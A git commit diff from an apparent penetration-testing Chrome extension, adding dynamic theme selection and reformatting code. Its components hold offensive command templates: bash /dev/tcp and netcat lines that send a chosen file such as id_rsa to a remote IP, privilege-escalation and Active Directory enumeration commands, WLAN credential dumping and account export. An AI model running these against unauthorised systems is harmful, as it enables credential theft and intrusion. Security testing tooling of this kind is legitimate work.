NEW - Dynamic theme selection

This commit is contained in:
Ludovic COULON
2021-11-21 16:50:14 +01:00
parent d2a2376267
commit 8aa7e9ba07
28 changed files with 2774 additions and 2587 deletions

View File

@@ -13,60 +13,61 @@
"author": "Ludovic COULON & Riadh BOUCHAHOUA",
"license": "MIT",
"devDependencies": {
"@babel/cli": "^7.14.8",
"@babel/core": "^7.15.0",
"@babel/cli": "^7.16.0",
"@babel/core": "^7.16.0",
"@babel/helper-call-delegate": "^7.12.13",
"@babel/plugin-proposal-class-properties": "^7.14.5",
"@babel/preset-env": "^7.15.0",
"@babel/preset-react": "^7.14.5",
"@babel/preset-typescript": "^7.9.0",
"@babel/plugin-proposal-class-properties": "^7.16.0",
"@babel/preset-env": "^7.16.4",
"@babel/preset-react": "^7.16.0",
"@babel/preset-typescript": "^7.15.0",
"@pmmmwh/react-refresh-webpack-plugin": "^0.5.2",
"@types/antd": "^1.0.0",
"@types/crypto-js": "^4.0.2",
"@types/pretty": "^2.0.0",
"@types/react-query": "^1.2.9",
"@types/react-syntax-highlighter": "^13.5.2",
"@types/use-persisted-state": "^0.3.0",
"babel-loader": "^8.2.2",
"clean-webpack-plugin": "^4.0.0-alpha.0",
"copy-webpack-plugin": "^9.0.1",
"css-loader": "^6.2.0",
"babel-loader": "^8.2.3",
"clean-webpack-plugin": "^4.0.0",
"copy-webpack-plugin": "^10.0.0",
"css-loader": "^6.5.1",
"file-loader": "^6.2.0",
"html-webpack-plugin": "^5.3.2",
"html-webpack-plugin": "^5.5.0",
"react-hot-loader": "^4.13.0",
"style-loader": "^3.2.1",
"typescript": "^4.3.5",
"webpack": "^5.50.0",
"webpack-cli": "^4.8.0",
"webpack-dev-server": "^4.0.0"
"react-refresh": "^0.11.0",
"style-loader": "^3.3.1",
"typescript": "^4.4.3",
"webpack": "^5.64.1",
"webpack-cli": "^4.9.1",
"webpack-dev-server": "^4.5.0"
},
"browserslist": [
">0.2%",
"not dead",
"not op_mini all"
],
"browserslist": [ ">0.2%", "not dead", "not op_mini all" ],
"dependencies": {
"@ant-design/icons": "4.6.2",
"@ant-design/icons": "4.7.0",
"@hot-loader/react-dom": "^17.0.1",
"@types/chrome": "^0.0.154",
"@types/jest": "^27.0.1",
"@types/node": "^16.6.1",
"@types/react": "^17.0.18",
"@types/chrome": "^0.0.164",
"@types/jest": "^27.0.3",
"@types/node": "^16.11.9",
"@types/react": "^17.0.27",
"@types/react-dom": "^17.0.9",
"antd": "4.16.12",
"antd": "4.16.13",
"antd-mask-input": "0.1.15",
"axios": "^0.21.1",
"axios": "^0.24.0",
"crypto-js": "^4.0.0",
"escape-quotes": "^1.0.2",
"less": "^4.1.2",
"less-loader": "^10.2.0",
"pretty": "^2.0.0",
"rc-queue-anim": "^2.0.0",
"react": "^17.0.2",
"react-chrome-extension-router": "^1.2.0",
"react": "latest",
"react-chrome-extension-router": "^1.3.1",
"react-clipboard.js": "2.0.16",
"react-dom": "^17.0.2",
"react-query": "^3.19.6",
"react-syntax-highlighter": "^15.4.3",
"react-dom": "latest",
"react-query": "^3.33.1",
"react-refresh-typescript": "^2.0.2",
"react-syntax-highlighter": "^15.4.5",
"sm3": "^1.0.3",
"ts-loader": "^9.2.5",
"ts-loader": "^9.2.6",
"use-persisted-state": "^0.3.3"
}
}

View File

@@ -26,5 +26,5 @@ ReactDOM.render(
<BackTop />
</LayoutApp>
</QueryClientProvider>,
document.getElementById('app')
document.getElementById( 'app' )
);

View File

@@ -1,5 +1,3 @@
@import '~antd/dist/antd.dark.min.css';
.logo {
height: 32px;
margin: 16px;
@@ -26,8 +24,11 @@
}
}
.ant-badge {
color: inherit !important;
}
.site-layout .site-layout-background {
background: #0f0f0f !important;
border-radius: 10px;
}
.ant-menu-inline .ant-menu-item:not(:last-child),
@@ -206,5 +207,4 @@ h5.ant-typography,
body {
min-width: 750px;
min-height: auto;
background-color: black;
}

View File

@@ -1,5 +1,5 @@
import React, { useEffect } from 'react';
import { Layout, Menu, Typography, Button, Badge } from 'antd';
import React, { useCallback, useEffect, useState } from 'react';
import { Layout, Menu, Typography, Button, Badge, Select, } from 'antd';
import { CopyrightCircleOutlined, FullscreenOutlined, ArrowsAltOutlined } from '@ant-design/icons';
import { createFromIconfontCN } from '@ant-design/icons';
import { goTo } from 'react-chrome-extension-router';
@@ -7,7 +7,6 @@ import ReverseShell from './linux/ReverseShell';
import PhpReverseShell from './web/PhpReverseShell';
import TtySpawnShell from './linux/TtySpawnShell';
import Base64Encode from './encoding/Base64Encode';
import HexEncode from './encoding/HexEncode';
import Hashing from './encoding/Hashing';
import LinuxCommands from './linux/LinuxCommands';
import PowershellCommands from './linux/PowershellCommands';
@@ -20,16 +19,32 @@ import FileTransfer from './file_transfer/File_transfer';
import PersistedState from 'use-persisted-state';
import MSFBuilder from './linux/MSFBuilder';
import HTTPUtils from './http_utils/HTTP-Utils';
import DynamicTheme from '../theming';
import { themes } from '../themes';
const { Paragraph } = Typography;
const { Sider, Content, Footer } = Layout;
const IconFont = createFromIconfontCN({
const IconFont = createFromIconfontCN( {
scriptUrl: [ './iconfont.js' ]
});
} );
export default function LayoutApp(props: {
const defaultTheme = themes[ 0 ];
const options = themes.map( ( theme ) => ( {
label: theme.displayName,
value: theme.id
} ) );
export default function LayoutApp ( props: {
children: boolean | React.ReactChild | React.ReactFragment | React.ReactPortal | null | undefined;
}) {
} ) {
const useDefaultTheme = PersistedState( 'default_colored_theme' );
const [ themeId, setThemeId ] = useDefaultTheme( defaultTheme.id );
const selectThemeId = useCallback(
( option ) => setThemeId( option as string ),
[]
);
interface IRouterComponent {
key: string;
icon: JSX.Element;
@@ -64,7 +79,11 @@ export default function LayoutApp(props: {
},
{
key: '5',
icon: <IconFont type='icon-powershell' style={{ fontSize: '1.5em', marginTop: 3 }} />,
icon: (
<Badge dot size='default' style={{ transform: `translate(3px, 5px)` }}>
<IconFont type='icon-powershell' style={{ fontSize: '1.5em', marginTop: 3 }} />
</Badge>
),
name: 'PowerShell Commands',
componentRoute: PowershellCommands
},
@@ -110,7 +129,7 @@ export default function LayoutApp(props: {
name: 'Feed RSS',
componentRoute: FeedRSS
},
{
/* {
key: '13',
icon: (
<Badge dot size='default' style={{ transform: `translate(3px, 5px)` }}>
@@ -119,9 +138,9 @@ export default function LayoutApp(props: {
),
name: 'HTTP Repeater',
componentRoute: HTTPUtils
},
}, */
{
key: '14',
key: '13',
icon: (
<Badge dot size='default' style={{ transform: `translate(3px, 5px)` }}>
<IconFont type='icon-shield' style={{ fontSize: '1.5em', marginTop: 3 }} />
@@ -131,43 +150,43 @@ export default function LayoutApp(props: {
componentRoute: MSFBuilder
},
{
key: '15',
key: '14',
icon: <IconFont type='icon-about' style={{ fontSize: '1.5em', marginTop: 3 }} />,
name: 'About us',
componentRoute: AboutUs
}
];
const MenuItemsLists = Tabs.map((item) => (
<Menu.Item style={{ overflow: 'hidden' }} key={item.key} icon={item.icon} onClick={() => navigate(item)}>
const MenuItemsLists = Tabs.map( ( item ) => (
<Menu.Item style={{ overflow: 'hidden' }} key={item.key} icon={item.icon} onClick={() => navigate( item )}>
{item.name}
</Menu.Item>
));
) );
const useMenuIndex = PersistedState('tab_index_cache');
const [ index, setIndex ] = useMenuIndex('1');
const useMenuIndex = PersistedState( 'tab_index_cache' );
const [ index, setIndex ] = useMenuIndex( '1' );
const navigate = ({ componentRoute, key }: { componentRoute: React.FunctionComponent; key: string }) => {
goTo(componentRoute);
setIndex(key);
const navigate = ( { componentRoute, key }: { componentRoute: React.FunctionComponent; key: string } ) => {
goTo( componentRoute );
setIndex( key );
};
const windowMode = () => {
const width = 1100;
const height = 800;
chrome.windows.create({
url: chrome.extension.getURL('index.html'),
chrome.windows.create( {
url: chrome.extension.getURL( 'index.html' ),
width: width,
height: height,
type: 'popup'
});
} );
};
useEffect(() => {
const currentComponent = Tabs.filter((obj) => obj.key === index)[0].componentRoute;
goTo(currentComponent);
}, []);
useEffect( () => {
const currentComponent = Tabs.filter( ( obj ) => obj.key === index )[ 0 ].componentRoute;
goTo( currentComponent );
}, [] );
const target = window.location.href;
return (
@@ -215,6 +234,13 @@ export default function LayoutApp(props: {
Fullscreen mode
</a>
</Button>
<DynamicTheme themes={themes} value={themeId} />
<Select
value={themeId}
style={{ minWidth: 200 }}
options={options}
onSelect={selectThemeId}
/>
<Button icon={<ArrowsAltOutlined style={{ margin: 5 }} />} onClick={() => windowMode()} type='link'>
Pop-up mode
</Button>

View File

@@ -6,81 +6,81 @@ import QueueAnim from 'rc-queue-anim';
import escape_quotes from 'escape-quotes';
const { Title, Paragraph } = Typography;
const IconFont = createFromIconfontCN({
const IconFont = createFromIconfontCN( {
scriptUrl: [ './iconfont.js' ]
});
} );
function toHex(str: string) {
function toHex ( str: string ) {
var result = '';
for (var i = 0; i < str.length; i++) {
result += str.charCodeAt(i).toString(16).toUpperCase();
for ( var i = 0; i < str.length; i++ ) {
result += str.charCodeAt( i ).toString( 16 ).toUpperCase();
}
return result;
}
function hex2a(hex: string) {
function hex2a ( hex: string ) {
var str = '';
for (var i = 0; i < hex.length; i += 2) str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
for ( var i = 0; i < hex.length; i += 2 ) str += String.fromCharCode( parseInt( hex.substr( i, 2 ), 16 ) );
return str;
}
const Base64Encode = () => {
const [ input, setInput ] = useState('');
const [ output, setOutput ] = useState('');
const [ input, setInput ] = useState( '' );
const [ output, setOutput ] = useState( '' );
const { TextArea } = Input;
const successBase64Copy = () => {
message.success('Your payload has been copied successfully !');
message.success( 'Your payload has been copied successfully !' );
};
const handleChange = (_name: string) => (event: { target: { value: React.SetStateAction<string> } }) => {
setInput(event.target.value);
const handleChange = ( _name: string ) => ( event: { target: { value: React.SetStateAction<string> } } ) => {
setInput( event.target.value );
};
const handleClick = (type: string) => {
if (type === 'encode' && encMode === 'base64') {
setOutput(btoa(input));
} else if (type === 'decode' && encMode === 'base64') {
const handleClick = ( type: string ) => {
if ( type === 'encode' && encMode === 'base64' ) {
setOutput( btoa( input ) );
} else if ( type === 'decode' && encMode === 'base64' ) {
try {
setOutput(atob(input));
} catch (ex) {
setOutput('Unable to decode properly : Incorrect base64 ');
message.error('Incorrect Base64 please try something else');
setOutput( atob( input ) );
} catch ( ex ) {
setOutput( 'Unable to decode properly : Incorrect base64 ' );
message.error( 'Incorrect Base64 please try something else' );
}
} else if (type === 'decode' && encMode === 'uri') {
} else if ( type === 'decode' && encMode === 'uri' ) {
try {
setOutput(decodeURI(input));
} catch (ex) {
setOutput('Unable to decode properly : Incorrect base64 ');
message.error('Incorrect Base64 please try something else');
setOutput( decodeURI( input ) );
} catch ( ex ) {
setOutput( 'Unable to decode properly : Incorrect base64 ' );
message.error( 'Incorrect Base64 please try something else' );
}
} else if (type === 'encode' && encMode === 'uri') {
} else if ( type === 'encode' && encMode === 'uri' ) {
try {
setOutput(encodeURI(input));
} catch (error) {
setOutput('Unable to decode properly : Incorrect URI ');
message.error('Incorrect format please try something else');
setOutput( encodeURI( input ) );
} catch ( error ) {
setOutput( 'Unable to decode properly : Incorrect URI ' );
message.error( 'Incorrect format please try something else' );
}
} else if (type === 'decode' && encMode === 'hex') {
} else if ( type === 'decode' && encMode === 'hex' ) {
try {
setOutput(hex2a(input));
} catch (ex) {
setOutput('Unable to decode properly : Incorrect hexadecimal ');
message.error('Incorrect Hex please try something else');
setOutput( hex2a( input ) );
} catch ( ex ) {
setOutput( 'Unable to decode properly : Incorrect hexadecimal ' );
message.error( 'Incorrect Hex please try something else' );
}
} else if (type === 'encode' && encMode === 'hex') {
} else if ( type === 'encode' && encMode === 'hex' ) {
try {
setOutput(toHex(input));
} catch (error) {
setOutput('Unable to decode properly : Incorrect hexadecimal ');
message.error('Incorrect Hex please try something else');
setOutput( toHex( input ) );
} catch ( error ) {
setOutput( 'Unable to decode properly : Incorrect hexadecimal ' );
message.error( 'Incorrect Hex please try something else' );
}
}
return;
};
const [ encMode, setEncmode ] = useState('base64');
const [ encMode, setEncmode ] = useState( 'base64' );
const handleQuoteEscaper = () => {
setOutput(escape_quotes(input));
setOutput( escape_quotes( input ) );
};
const handleEncModeList = (type: { key: React.SetStateAction<string | any> }) => {
setEncmode(type.key.toString());
const handleEncModeList = ( type: { key: React.SetStateAction<string | any> } ) => {
setEncmode( type.key.toString() );
};
const menu = (
@@ -115,7 +115,7 @@ const Base64Encode = () => {
<TextArea
rows={4}
value={input}
onChange={handleChange('input')}
onChange={handleChange( 'input' )}
placeholder='Some Base64 or ASCII Text to Encode / Decode / Quote escape...'
/>
@@ -128,7 +128,7 @@ const Base64Encode = () => {
<Button
type='primary'
style={{ marginBottom: 10, marginTop: 15 }}
onClick={() => handleClick('encode')}
onClick={() => handleClick( 'encode' )}
>
<IconFont type='icon-lock' />
Encode
@@ -136,7 +136,7 @@ const Base64Encode = () => {
<Button
type='dashed'
style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}
onClick={() => handleClick('decode')}
onClick={() => handleClick( 'decode' )}
>
<IconFont type='icon-lock-open' />
Decode
@@ -172,7 +172,7 @@ const Base64Encode = () => {
type='link'
danger
style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}
onClick={() => setOutput('')}
onClick={() => setOutput( '' )}
>
<ClearOutlined /> Clear
</Button>

View File

@@ -5,34 +5,34 @@ import { WifiOutlined, createFromIconfontCN, FolderOutlined } from '@ant-design/
import QueueAnim from 'rc-queue-anim';
const { Title, Paragraph, Text } = Typography;
const IconFont = createFromIconfontCN({
const IconFont = createFromIconfontCN( {
scriptUrl: [ './iconfont.js' ]
});
} );
export default function FileTransfer() {
const useIPv4State = PersistedState('ipv4_tcp_cache');
export default function FileTransfer () {
const useIPv4State = PersistedState( 'ipv4_tcp_cache' );
const [ values, setValues ] = useIPv4State({
const [ values, setValues ] = useIPv4State( {
ip: '',
port: '',
file_name: ''
});
const handleChange = (name: string) => (event: { target: { value: string } }) => {
setValues({ ...values, [name]: event.target.value });
} );
const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {
setValues( { ...values, [ name ]: event.target.value } );
};
const bash_transfer = `
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<${values.file_name})" > /dev/tcp/${values.ip}/${values.port}'
bash -c 'echo -e "POST / HTTP/0.9\n\n$(<${ values.file_name })" > /dev/tcp/${ values.ip }/${ values.port }'
`;
const bash_tcp_transfer = `
bash -c 'cat ${values.file_name} > /dev/tcp/${values.ip}/${values.port}'
bash -c 'cat ${ values.file_name } > /dev/tcp/${ values.ip }/${ values.port }'
`;
const bash_download = `bash -c 'cat < /dev/tcp/${values.ip}/${values.port} > ${values.file_name}'`;
const netcat_transfer = `nc ${values.ip} ${values.port} < ${values.file_name}`;
const python_server = `python3 -m http.server ${values.port}`;
const python2_server = `python -m SimpleHTTPServer ${values.port}`;
const scp = `scp ${values.file_name} username@${values.ip || 'IP'}:~/destination ${values.port &&
'-P ' + values.port}`;
const scp_dl = `scp user@${values.ip || 'IP'}:~/path_to_file file_saved ${values.port && '-P ' + values.port}`;
const bash_download = `bash -c 'cat < /dev/tcp/${ values.ip }/${ values.port } > ${ values.file_name }'`;
const netcat_transfer = `nc ${ values.ip } ${ values.port } < ${ values.file_name }`;
const python_server = `python3 -m http.server ${ values.port }`;
const python2_server = `python -m SimpleHTTPServer ${ values.port }`;
const scp = `scp ${ values.file_name } username@${ values.ip || 'IP' }:~/destination ${ values.port &&
'-P ' + values.port }`;
const scp_dl = `scp user@${ values.ip || 'IP' }:~/path_to_file file_saved ${ values.port && '-P ' + values.port }`;
return (
<QueueAnim delay={300} duration={1500}>
@@ -50,7 +50,7 @@ export default function FileTransfer() {
prefix={<WifiOutlined />}
name='Ip adress'
placeholder='IP Address or domain (ex: 212.212.111.222)'
onChange={handleChange('ip')}
onChange={handleChange( 'ip' )}
value={values.ip}
/>
</Col>
@@ -60,7 +60,7 @@ export default function FileTransfer() {
prefix={<IconFont type='icon-Network-Plug' />}
name='Port'
placeholder='Port (ex: 1337)'
onChange={handleChange('port')}
onChange={handleChange( 'port' )}
value={values.port}
/>
</Col>
@@ -69,7 +69,7 @@ export default function FileTransfer() {
prefix={<FolderOutlined />}
name='File name'
placeholder='Filename (ex: id_rsa)'
onChange={handleChange('file_name')}
onChange={handleChange( 'file_name' )}
value={values.file_name}
/>
</Col>

View File

@@ -27,27 +27,27 @@ const { TabPane } = Tabs;
const { TextArea } = Input;
const { Option } = Select;
export default function LinuxCommands() {
const http_url = PersistedState('http_url_repeater');
const [ isModalVisible, setIsModalVisible ] = useState(false);
export default function LinuxCommands () {
const http_url = PersistedState( 'http_url_repeater' );
const [ isModalVisible, setIsModalVisible ] = useState( false );
const windowMode = () => {
const width = 1100;
const height = 800;
chrome.windows.create({
url: chrome.extension.getURL('index.html'),
chrome.windows.create( {
url: chrome.extension.getURL( 'index.html' ),
width: width,
height: height,
type: 'popup'
});
} );
};
const target = window.location.href;
const showModal = () => {
setIsModalVisible(true);
setIsModalVisible( true );
};
const handleClose = () => {
setIsModalVisible(false);
setIsModalVisible( false );
};
interface IHTTP_UtilsProps {
@@ -56,65 +56,65 @@ export default function LinuxCommands() {
type: string;
}
const [ values, setValues ] = http_url<IHTTP_UtilsProps>({
const [ values, setValues ] = http_url<IHTTP_UtilsProps>( {
url: '',
protocol: 'http://',
type: 'GET'
});
const handleChange = (name: string) => (event: { target: { value: string } }) => {
setValues({ ...values, [name]: event.target.value });
} );
const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {
setValues( { ...values, [ name ]: event.target.value } );
};
const handleChangeSelect = (name: string) => (event: string) => {
setValues({ ...values, [name]: event });
const handleChangeSelect = ( name: string ) => ( event: string ) => {
setValues( { ...values, [ name ]: event } );
};
interface ContentProps {
status: string | number;
statusText: string;
headers: {
[key: string]: string;
[ key: string ]: string;
};
data: string;
}
// Axios fetch
const key = 'updatable';
const [ content, setContent ] = useState<ContentProps>();
const [ headerContent, setHeaderContent ] = useState([]);
const [ commentResponse, setCommentResponse ] = useState([]);
const [ inputResponse, setInputResponse ] = useState([]);
const [ headerContent, setHeaderContent ] = useState( [] );
const [ commentResponse, setCommentResponse ] = useState( [] );
const [ inputResponse, setInputResponse ] = useState( [] );
const [ _, setLoading ] = useState<Boolean>();
const handleDelete = () => {
setContent(undefined);
setHeaderContent([]);
setCommentResponse([]);
setInputResponse([]);
setContent( undefined );
setHeaderContent( [] );
setCommentResponse( [] );
setInputResponse( [] );
values.url = '';
};
const fetchData = async () => {
message.loading({ content: 'Loading...', key });
await axios({
message.loading( { content: 'Loading...', key } );
await axios( {
method: values.type as Method,
url: values.protocol + values.url.replace(/https?:\/\//, ''),
url: values.protocol + values.url.replace( /https?:\/\//, '' ),
headers: {}
})
.then((res: React.ComponentState) => {
setLoading(false); // Set the loading to false
setContent(res); // Axios response
message.success({ content: 'Loaded!', key });
setHeaderContent(res.headers['content-type']); // Header content
console.log(res);
} )
.then( ( res: React.ComponentState ) => {
setLoading( false ); // Set the loading to false
setContent( res ); // Axios response
message.success( { content: 'Loaded!', key } );
setHeaderContent( res.headers[ 'content-type' ] ); // Header content
console.log( res );
const commentOnlyRegex = res.data.match(
RegExp(/(\/\*[\w\'\s\r\n\*]*\*\/)|(\/\/[\w\s\']*)|(\<![\-\-\s\w\>\/]*\>)/, 'g')
RegExp( /(\/\*[\w\'\s\r\n\*]*\*\/)|(\/\/[\w\s\']*)|(\<![\-\-\s\w\>\/]*\>)/, 'g' )
);
if (commentOnlyRegex != null) setCommentResponse(commentOnlyRegex);
const inputOnlyRegex = res.data.match(RegExp(/<form(.*?)<\/form>/, 'g'));
if (inputOnlyRegex != null) setInputResponse(inputOnlyRegex);
})
.catch((err) => {
console.log(err);
message.error({ content: err.message, key });
});
if ( commentOnlyRegex != null ) setCommentResponse( commentOnlyRegex );
const inputOnlyRegex = res.data.match( RegExp( /<form(.*?)<\/form>/, 'g' ) );
if ( inputOnlyRegex != null ) setInputResponse( inputOnlyRegex );
} )
.catch( ( err ) => {
console.log( err );
message.error( { content: err.message, key } );
} );
};
return (
@@ -136,7 +136,7 @@ export default function LinuxCommands() {
style={{ width: '100%' }}
value={values.type}
placeholder='GET'
onChange={handleChangeSelect('type')}
onChange={handleChangeSelect( 'type' )}
>
<Option value='GET'>GET</Option>
<Option value='POST'>POST</Option>
@@ -153,7 +153,7 @@ export default function LinuxCommands() {
style={{ width: '100%' }}
value={values.protocol}
placeholder='http://'
onChange={handleChangeSelect('protocol')}
onChange={handleChangeSelect( 'protocol' )}
>
<Option value='http://'>HTTP</Option>
<Option value='https://'>HTTPS</Option>
@@ -162,10 +162,10 @@ export default function LinuxCommands() {
<Col span={9}>
<Input
style={{ borderColor: '#434343' }}
onChange={handleChange('url')}
onChange={handleChange( 'url' )}
onSubmit={() => fetchData()}
allowClear
value={values.url.replace(/https?:\/\//, '')}
value={values.url.replace( /https?:\/\//, '' )}
placeholder='http://10.10.14.15:1337/home?a=1 OR example.com'
/>
</Col>
@@ -203,14 +203,14 @@ export default function LinuxCommands() {
<TextArea
autoSize={{ minRows: 5 }}
disabled
value={JSON.stringify(content.headers, undefined, 2)}
value={JSON.stringify( content.headers, undefined, 2 )}
rows={4}
/>
</Col>
<Col span={12}>
<TextArea
autoSize={{ minRows: 5 }}
value={JSON.stringify(content.headers, undefined, 2)}
value={JSON.stringify( content.headers, undefined, 2 )}
rows={4}
/>
</Col>
@@ -234,7 +234,7 @@ export default function LinuxCommands() {
<div dangerouslySetInnerHTML={{ __html: content.data || '' }} />
</Modal>
<SyntaxHighlighter language='htmlbars' style={vs2015} showLineNumbers={true}>
{pretty(content.data) || <pre>No response</pre>}
{pretty( content.data ) || <pre>No response</pre>}
</SyntaxHighlighter>
</TabPane>
{!commentResponse && (
@@ -263,13 +263,13 @@ export default function LinuxCommands() {
)}
{!inputResponse && (
<TabPane tab='Form / Input Only' key='3'>
{inputResponse.map((matches: string) => {
{inputResponse.map( ( matches: string ) => {
return (
<SyntaxHighlighter language='htmlbars' style={vs2015} showLineNumbers={true}>
{pretty(matches)};
{pretty( matches )};
</SyntaxHighlighter>
);
})}
} )}
</TabPane>
)}
</Tabs>

View File

@@ -3,7 +3,7 @@ import { Typography, Divider } from 'antd';
import QueueAnim from 'rc-queue-anim';
const { Title, Paragraph } = Typography;
export default function LinuxCommands() {
export default function LinuxCommands () {
const Suid = [
{ title: 'find / -user root -perm /4000 2>/dev/null' },
{ title: 'find / -perm -u=s -type f 2>/dev/null' },
@@ -122,13 +122,13 @@ export default function LinuxCommands() {
padding: 15
}}
>
{Suid.map((k, i) => {
{Suid.map( ( k, i ) => {
return (
<Paragraph key={i} code editable copyable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider orientation='center'>What version of the system ?</Divider>
<div
@@ -137,13 +137,13 @@ export default function LinuxCommands() {
padding: 15
}}
>
{VersionSystem.map((k, i) => {
{VersionSystem.map( ( k, i ) => {
return (
<Paragraph key={i} code editable copyable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider orientation='center'>What is its kernel version ?</Divider>
<div
@@ -152,13 +152,13 @@ export default function LinuxCommands() {
padding: 15
}}
>
{KernelVersion.map((k, i) => {
{KernelVersion.map( ( k, i ) => {
return (
<Paragraph key={i} code editable copyable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider orientation='center'>What is the environment variables ?</Divider>
<div
@@ -167,13 +167,13 @@ export default function LinuxCommands() {
padding: 15
}}
>
{EnvironmentVariables.map((k, i) => {
{EnvironmentVariables.map( ( k, i ) => {
return (
<Paragraph key={i} code editable copyable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider orientation='center'>Service settings, there is any wrong allocation?</Divider>
<div
@@ -182,13 +182,13 @@ export default function LinuxCommands() {
padding: 15
}}
>
{ServiceSettings.map((k, i) => {
{ServiceSettings.map( ( k, i ) => {
return (
<Paragraph key={i} code editable copyable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider orientation='center'>Is there any cron jobs ?</Divider>
<div
@@ -197,13 +197,13 @@ export default function LinuxCommands() {
padding: 15
}}
>
{CronJobs.map((k, i) => {
{CronJobs.map( ( k, i ) => {
return (
<Paragraph key={i} code editable copyable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider orientation='center'>Other users host communication with the system ?</Divider>
<div
@@ -212,13 +212,13 @@ export default function LinuxCommands() {
padding: 15
}}
>
{UsersHost.map((k, i) => {
{UsersHost.map( ( k, i ) => {
return (
<Paragraph key={i} code editable copyable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider orientation='center'>How to port forward ?</Divider>
<div
@@ -227,13 +227,13 @@ export default function LinuxCommands() {
padding: 15
}}
>
{PortForwarding.map((k, i) => {
{PortForwarding.map( ( k, i ) => {
return (
<Paragraph key={i} code editable copyable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider orientation='center'>TAR wildcard cronjob privilege escalation</Divider>
<div
@@ -242,13 +242,13 @@ export default function LinuxCommands() {
padding: 15
}}
>
{wildcardPrivesc.map((k, i) => {
{wildcardPrivesc.map( ( k, i ) => {
return (
<Paragraph key={i} code editable copyable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
</div>
</QueueAnim>
);

View File

@@ -4,7 +4,7 @@ import QueueAnim from 'rc-queue-anim';
const { Title, Paragraph, Text } = Typography;
export default function PowershellCommands() {
export default function PowershellCommands () {
const local_sys_enum = [
{ title: 'systeminfo' },
{ title: 'Get-WmiObject Win32_ComputerSystem' },
@@ -56,13 +56,17 @@ export default function PowershellCommands() {
const ACL_gpoedit_rights = `Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}`;
const ACL_passwd_edit_rights = `Get-ObjectAcl -SamAccountName labuser -ResolveGUIDs -RightsFilter "ResetPassword"`;
// dump user accounts
const local_recon_ldifde = `ldifde -d "OU=THING,DC=CHANGE,DC=ME" -p subtree -f dump.ldf`
const local_recon_csvde = `csvde -d "OU=THING,DC=CHANGE,DC=ME" -p subtree -f dump.csv`
return (
<QueueAnim delay={300} duration={1500}>
<Title level={2} style={{ fontWeight: 'bold', margin: 15 }}>
Powershell handy commands
</Title>
<Paragraph style={{ margin: 15 }}>List of useful Powershell commands</Paragraph>
<Divider dashed />
<Divider orientation='center'></Divider>
<div
key='a'
style={{
@@ -70,13 +74,13 @@ export default function PowershellCommands() {
}}
>
<Title level={3}>System enumeration</Title>
{local_sys_enum.map((k, i) => {
{local_sys_enum.map( ( k, i ) => {
return (
<Paragraph key={i} copyable code editable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
<Text strong># List Security patches</Text>
<Paragraph copyable code editable ellipsis={true}>
{lastpatchlist}
@@ -92,8 +96,7 @@ export default function PowershellCommands() {
<Paragraph copyable code editable ellipsis={true}>
{envVar_cmd}
</Paragraph>
<Divider dashed />
<Title level={4}>HTTP download (wget like)</Title>
<Divider orientation='center'>HTTP download (wget like)</Divider>
<Paragraph copyable code editable ellipsis={true}>
{powershell_http_dl}
</Paragraph>
@@ -101,31 +104,28 @@ export default function PowershellCommands() {
<Paragraph copyable code editable ellipsis={true}>
{cmd_cert_http_dl}
</Paragraph>
<Divider dashed />
<Title level={4}>WLAN enumeration</Title>
{wlan_creddump.map((k, i) => {
<Divider orientation='center'>WLAN enumeration</Divider>
{wlan_creddump.map( ( k, i ) => {
return (
<Paragraph key={i} copyable code editable ellipsis={true}>
{k.title}
</Paragraph>
);
})}
} )}
</div>
<Divider dashed />
<Divider orientation='center'>Active Directory enumeration</Divider>
<div
key='b'
style={{
padding: 15
}}
>
<Title level={2}>Active Directory enumeration</Title>
<Paragraph>Require Powerview.ps1</Paragraph>
<Paragraph copyable code editable ellipsis={true}>
{power_view_repo}
</Paragraph>
<Title level={4}>Domain enumeration</Title>
<Text strong># Domain enumeration</Text>
<Paragraph copyable code editable ellipsis={true}>
{domain_name}
</Paragraph>
@@ -155,18 +155,14 @@ export default function PowershellCommands() {
{domain_trust}
</Paragraph>
<Divider dashed />
<Title level={4}> GPO enumeration</Title>
<Divider orientation='center'>GPO enumeration</Divider>
<Text strong># GPO applied to the machine</Text>
<Paragraph copyable code editable ellipsis={true}>
{gpo_enum}
</Paragraph>
<Divider dashed />
<Title level={4}> Password enumeration</Title>
<Divider orientation='center'>Password enumeration</Divider>
<Text strong># Last Password Set date</Text>
<Paragraph copyable code editable ellipsis={true}>
@@ -176,9 +172,7 @@ export default function PowershellCommands() {
<Paragraph copyable code editable ellipsis={true}>
{user_desc_harvest}
</Paragraph>
<Divider dashed />
<Title level={4}> Computer enumeration</Title>
<Divider orientation='center'>Computer enumeration</Divider>
<Text strong># List Computers of the Domain</Text>
<Paragraph copyable code editable ellipsis={true}>
@@ -193,9 +187,7 @@ export default function PowershellCommands() {
{domain_win7U_computers}
</Paragraph>
<Divider dashed />
<Title level={4}> Admin groups and account enumeration</Title>
<Divider orientation='center'>Admin groups and account enumeration</Divider>
<Text strong># List Domain Admin members</Text>
<Paragraph copyable code editable ellipsis={true}>
@@ -215,9 +207,7 @@ export default function PowershellCommands() {
{user_group_membership}
</Paragraph>
<Divider dashed />
<Title level={4}> ACL enumeration</Title>
<Divider orientation='center'>ACL enumeration</Divider>
<Text strong># User ACL </Text>
<Paragraph copyable code editable ellipsis={true}>
@@ -233,6 +223,16 @@ export default function PowershellCommands() {
<Paragraph copyable code editable ellipsis={true}>
{ACL_passwd_edit_rights}
</Paragraph>
<Divider orientation='center'>Local reconnaissance</Divider>
<Text strong># Export user accounts with ldifde</Text>
<Paragraph copyable code editable ellipsis={true}>
